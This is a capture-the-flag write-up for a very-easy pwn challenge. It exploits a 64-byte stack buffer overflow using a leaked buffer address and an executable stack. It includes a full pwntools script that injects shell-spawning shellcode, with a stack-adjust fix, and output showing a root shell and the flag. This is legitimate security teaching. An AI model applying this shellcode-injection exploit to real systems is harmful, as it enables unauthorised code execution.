HTB Cyber Apocalypse 2026 - The Salt Crown: Pwn / The Hinge Whisper (Very easy)

Author: Hubert Feyrer / hubertf - 31.07.2026

Challenge description

The room shouldn't exist. [...] In the far wall sits an old strongbox with a hatch built into its face, sealed the way a man seals something he never wants opened again, not by anyone, not even by himself on a better day. [...] Maelor kept files on things he feared enough to bury, and Rin is betting that a girl who should have died in one of his purges made that list. If there's a way to know what's coming before it reaches her people, it's behind this hatch. One lock stands between her and an answer, and she means to have it before the watch changes.

A textbook stack buffer overflow, made trivial by two decisions: the program prints the address of its own buffer, and the stack is executable. The only real obstacle turns out to be the shellcode overwriting itself.

1. Download

$ ls -la
-rwxrwxr-x@ 1 feyrer staff 16288 May 11 00:05 the_hinge_whisper

$ file the_hinge_whisper
the_hinge_whisper: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

One binary. The mitigations are the interesting part:

$ pwn checksec the_hinge_whisper
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Conclusion: No stack canary and an executable stack with RWX segments. PIE is on, so addresses are randomised - but if the program hands out an address, that stops mattering. This combination points straight at "write shellcode into the buffer and return to it".

2. Docker/nc - what we get

$ ./the_hinge_whisper

          _.--.
        .'    `'.
       / __ __ \
      | / \/ \ |
      | | () () ||
       \ `--' /
        '.______.'
          ||||||       THE SANCTIFIED
         /||||||\        HATCH
        /||||||||\
       /||||||||||\
       '------------'

  [*] Rin touches the cold plate. The geometry is immaculate.
  [*] But the spine... the spine is wrong. Perfect face, wrong spine.
  [*] The keyway accepts a custom latch-key. It looks shallow.
  [*] Push deep enough, and the escapement yields.

  [+] The keyway sits at: 0x7ffd197d5e80
  [+] Forge your latch-key:

Conclusion: The banner is a walkthrough in costume. "The keyway... looks shallow" and "push deep enough, and the escapement yields" describe an undersized buffer. And "the keyway sits at" hands over the stack address that PIE was supposed to hide.

3. Analysis steps

3.1 Find the overflow (success)

The binary is not stripped, so the function behind the prompt is easy to find. Decompiled:

void service_hatch(void)
{
  undefined1 local_48 [64];

    printf("  [+] The keyway sits at: %p\n", local_48);
    printf("  [+] Forge your latch-key: ");
    fflush(stdout);
    read(0, local_48, 80);
    return;
}

A 64-byte buffer, and read accepts 80. The 16 extra bytes land exactly here:

offset  0 .. 63   the buffer itself        (64 bytes)
offset 64 .. 71   saved RBP                 (8 bytes)
offset 72 .. 79   return address            (8 bytes)  <- overwritten

Conclusion: No win() function exists in the binary, so there is nothing to jump to - but with an executable stack and the buffer address leaked, the payload can be its own target. Put shellcode in the buffer, overwrite the return address with the buffer address. The budget is tight: 72 bytes of shellcode and padding, then the address.

3.2 A shell crashes, but cat works (failed)

With the layout known the exploit should be one shellcraft.sh() away. It crashes - while other payloads run fine.

shellcraft.cat("/etc/passwd")   -> works
shellcraft.write(1, "huhu", 5)  -> works
shellcraft.sh()                 -> crashes

That pattern rules out the obvious explanations. The return address is clearly right, or nothing would run at all; the shellcode is clearly executable, or cat would fail too.

Conclusion: The difference is not whether the shellcode runs but how long it runs before touching the stack. cat reaches its sendfile syscall almost immediately; sh() spends its first instructions pushing onto the stack - and the stack pointer is sitting right around the buffer the shellcode itself lives in. It overwrites itself mid-execution.

3.3 Move the stack out of the way (success)

If the pushes are the problem, give them somewhere else to go.

sub rsp, 0x200          ; 512 bytes of clearance before anything is pushed

Prepending that single instruction moves the stack pointer far below the shellcode, so the subsequent pushes cannot reach it. It costs 7 bytes of the 72-byte budget - and shellcraft.sh() plus exit(42) fits comfortably in what remains (63 bytes total).

Conclusion: This is the whole trick. On a stack-shellcode challenge where a payload runs partially and then dies, self-overwrite through stack growth should be the first suspicion - especially with a buffer this small.

4. Solution

1hf.py. The commented-out shellcraft lines are left in deliberately: they are the trail of section 3.2, showing which payloads survived and which did not.

#!python

from pwn import *

if context.log_level == 10: # DEBUG=1
    DEBUG=True
else:
    DEBUG=False


if DEBUG:
    context.log_level = 'debug'
else:
    #context.log_level = 'warn'
    context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-l', '40']   # lines in lower window
context.arch = 'amd64'
context.os = 'linux'

challenge = "./the_hinge_whisper"
remote_ip="154.57.164.79"
remote_port = 30778

gdbscript = '''
    set pagination off
    set confirm off
    # don't follow system("/bin/sh"):
    set follow-fork-mode child
    set detach-on-fork off

    #disas challenge

    # gef
    source /opt/gef/gef.py
    gef config context.grow_stack_down True
    gef config context.nb_lines_stack 28
    #context

	# service_hatch: leave
    b *service_hatch+97 

	continue
'''

if DEBUG:
    p = gdb.debug(challenge, gdbscript) # run in "sudo tmux"!
else:
    #p = process(challenge)
    p = remote(remote_ip, remote_port)
    #p = process(["strace", "-f", "-o", "/tmp/trace.log", challenge])


p.recvuntil(b"The keyway sits at:")
buf_str = p.recvline().strip()
buf_addr = int(buf_str, 16)

print("buf_str  = " + buf_str.decode())
print("buf_addr = " + hex(buf_addr))


shellcode = b""
shellcode += asm("sub rsp, 0x200") # make space on stack - do not overwrite our shellcode!
#shellcode += asm(shellcraft.cat("/bin/sh"))  # ok
#shellcode += asm(shellcraft.cat("/etc/passwd")) # ok
#shellcode += asm(shellcraft.amd64.linux.echo("huhu")) # error :/ 
#shellcode += asm(shellcraft.write(1, "huhu\n", 5)) # ok
#shellcode += asm(shellcraft.cat("/root/flag")) # path of flag???
#shellcode += asm(shellcraft.cat("/home/ctf/flag.txt"))  # no
shellcode += asm(shellcraft.sh())
#shellcode += asm(shellcraft.execve("/bin/bash", ["bash", "-p"], 0))
#shellcode += asm(shellcraft.execve("/bin/sh", ["sh", "-p"], 0))
#shellcode += asm(shellcraft.execve("/bin/sh", ["sh"], 0))
shellcode += asm(shellcraft.exit(42))
#
shellcode_len = len(shellcode)
#
print("len(shellcode) = " + str(shellcode_len))
assert len(shellcode) < 80


payload_len = 80 - 8 # buf + saved_RBP
payload = b""
payload += shellcode
payload += b"X" * (payload_len - shellcode_len)
payload += p64(buf_addr)

p.recvuntil(b"Forge your latch-key:")
p.sendline(payload)


if DEBUG:
    sleep(999999)


p.interactive()

5. Run it

Against the live service:

$ python3 1hf.py
[+] Opening connection to 154.57.164.79 on port 30778: Done
  [+] The keyway sits at: 0x7ffe14338750
buf_addr = 0x7ffe14338750
len(shellcode) = 63

[*] Switching to interactive mode
$ ls
flag.txt
$ cat flag.txt
HTB{th3_h1ng3_wh1sp3r5_t0_th0s3_wh0_l1st3n_5f6e8d5bbc726f9bafddd9574860e7cb}

The exploit reproduces against the shipped binary. The host is arm64 macOS, so it runs in an amd64 container with pwntools, and connect() is switched from remote() to process():

$ docker run --rm --platform linux/amd64 -v "$PWD:/w" -w /w pwnbox \
      sh -c 'printf "id\ncat flag.txt\nexit\n" | python3 hinge_local.py'
  [+] The keyway sits at: 0x7ffffffc5a40
buf_addr = 0x7ffffffc5a40
len(shellcode) = 63
    00000000  48 81 ec 00  02 00 00 6a  68 48 b8 2f  62 69 6e 2f  |H.......jhH./bin/|
    00000010  2f 2f 73 50  48 89 e7 68  72 69 01 01  81 34 24 01  |//sPH..hri...4$.|
    00000020  01 01 01 31  f6 56 6a 08  5e 48 01 e6  56 48 89 e6  |...1.Vj.^H..VH..|
    00000030  31 d2 6a 3b  58 0f 05 6a  2a 5f 6a 3c  58 0f 05 58  |1.j;X..j*_j<X..X|
    00000040  58 58 58 58  58 58 58 58  f0 59 fc ff  ff 7f 00 00  |XXXXXXXX.Y......|

[*] Switching to interactive mode
uid=0(root) gid=0(root) groups=0(root)

The payload dump shows the whole structure at a glance: 48 81 ec 00 02 00 00 is the sub rsp, 0x200, then the shellcode, then X padding, and the last 8 bytes are the leaked buffer address that replaces the return address.

Flag

HTB{th3_h1ng3_wh1sp3r5_t0_th0s3_wh0_l1st3n_5f6e8d5bbc726f9bafddd9574860e7cb}

6. Summary of how the exploit works

#StageMechanism
1The bug service_hatch() declares a 64-byte buffer and calls read(0, buf, 80). The 16 surplus bytes cover saved RBP and the return address.
2The missing mitigations No stack canary, so the overflow is not detected. RWX segments and a missing GNU_STACK, so the stack is executable.
3PIE defeated for free The program prints the buffer's address itself. No leak primitive needed - the randomisation is handed over in the prompt.
4Self-overwrite shellcraft.sh() pushes its argument strings onto a stack pointing into the shellcode's own buffer, destroying itself mid-run. A leading sub rsp, 0x200 moves the stack 512 bytes clear.
5Payload 63 bytes of shellcode, padding to offset 72, then the leaked address as the new return target. ret jumps into the buffer.

Rated "very easy", and the bug itself is - but the failure in step 4 is worth more than the overflow. It produces a payload that partially works, which is a far more confusing symptom than one that does nothing at all: the return address is right, the memory is executable, and it still dies. Once "the shellcode is a stack neighbour of the stack it uses" is in mind, the fix is one instruction.